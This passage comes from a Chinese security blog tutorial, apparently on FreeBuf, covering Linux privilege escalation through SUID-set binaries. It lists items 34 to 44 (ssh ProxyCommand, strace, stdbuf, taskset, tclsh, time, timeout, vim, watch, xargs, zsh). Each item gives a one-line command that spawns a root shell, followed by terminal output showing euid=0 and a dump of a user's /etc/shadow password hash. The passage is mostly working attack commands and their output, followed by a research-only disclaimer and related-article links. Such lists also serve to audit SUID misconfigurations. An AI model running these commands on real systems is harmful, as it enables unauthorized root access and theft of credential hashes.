vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

34、ssh

输入下面的命令进行提权：

```
ssh -o ProxyCommand='sh -p 0<&2 1>&2' x
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ ssh -o ProxyCommand='sh -p 0<&2 1>&2' x
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

35、strace

输入下面的命令进行提权：

```
strace -o /dev/null /bin/sh -p
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ strace -o /dev/null /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) egid=0(root) 组=0(root),1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

36、stdbuf

输入下面的命令进行提权：

```
stdbuf -i0 /bin/sh -p
```




系统安全



```
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

37、taskset

输入下面的命令进行提权：

taskset 1 /bin/sh -p

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ taskset 1 /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

38、tclsh

输入下面的命令进行提权：

tclsh

exec /bin/sh -p <@stdin >@stdout 2>@stderr

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ tclsh
% exec /bin/sh -p <@stdin >@stdout 2>@stderr
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

39、time

输入下面的命令进行提权：

time /bin/sh -p

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ time /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

40、timeout

输入下面的命令进行提权：

timeout 7d /bin/sh -p

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ timeout 7d /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

41、vim

输入下面的命令进行提权：



```
sh: 2R11: 未找到命令
sh: rgb:0000/0000/0000: 没有那个文件或目录
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

42、watch

输入下面的命令进行提权：

```
watch -x sh -c 'reset; exec sh -p 1>&0 2>&0'
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ watch -x sh -c 'reset; exec sh -p 1>&0 2>&0'
sh-4.2# uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# user1
:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

无法显示执行的命令，但是可以看到执行结果。

提权成功，得到了root shell。

43、xargs

输入下面的命令进行提权：

```
xargs -a /dev/null sh -p
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ xargs -a /dev/null sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

44、zsh

输入下面的命令进行提权：

```
zsh
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ zsh
[user1@centos7 ~]# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
[user1@centos7 ~]# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
[user1@centos7 ~]#
```

提权成功，得到了root shell。

四、总结

本文档仅用于研究目的，请勿用于非法用途。

[# 提权](#)[# 系统安全](#)[# 系统安全](#)[# linux安全](#)[# Centos](#)[# suid](#)

彭瑞

这家伙太懒了，还未填写个人描述！



已在FreeBuf发表 21 篇文章



系统安全

被以下专辑收录，发现更多精彩内容

+ 收入我的专辑

+ 加入我的收藏

Linux系统安全

攻防渗透宝典

安全渗透与测试

渗透测试

安全小白

每周

展开更多

相关推荐

Debotnet：一款针对Windows10隐私设置和数据的保护工具

系统安全

Debotnet是一款针对Windows10隐私设置和数据的保护工具。

Alpha_h4ck

237173 围观 · 780 收藏 · 4 喜欢

2020-08-01

OpenSSH命令注入漏洞通告（CVE-2020-15778）

漏洞

一、漏洞概要 2020年6月9日，研究人员Chinmay Pandya在Openssh中发现了一个漏洞，于7月18日公开。OpenSSH的8...

深信服千里目安全...

1580605 围观 · 37 喜欢

2020-08-01

腾讯安全：上万台MSSQL服务器沦为门罗币矿机 上万台MSSQL服务器沦为门罗币矿机...

咨询

新型挖矿木马来了！

腾讯安全

147408 围观

2020-07-31

BootHole安全启动存在严重漏洞，影响大量Linux和Window系统

漏洞

2020年7月29日，Eclypsium研究人员在GRUB2引导程序中发现了一个漏洞并将其命名为BootHole。

深信服千里目安全...

194690 围观

2020-07-31

打着社交口号的隐私窃取病毒 “YoungCircle”

终端安全

近期腾讯反诈骗实验室发现了一款主要以广大学生为主的社交软件“青春期”。

腾讯手机管家

359120 围观 · 3 收藏 · 9 喜欢

2020-07-31



FVIP
资源搜索



25

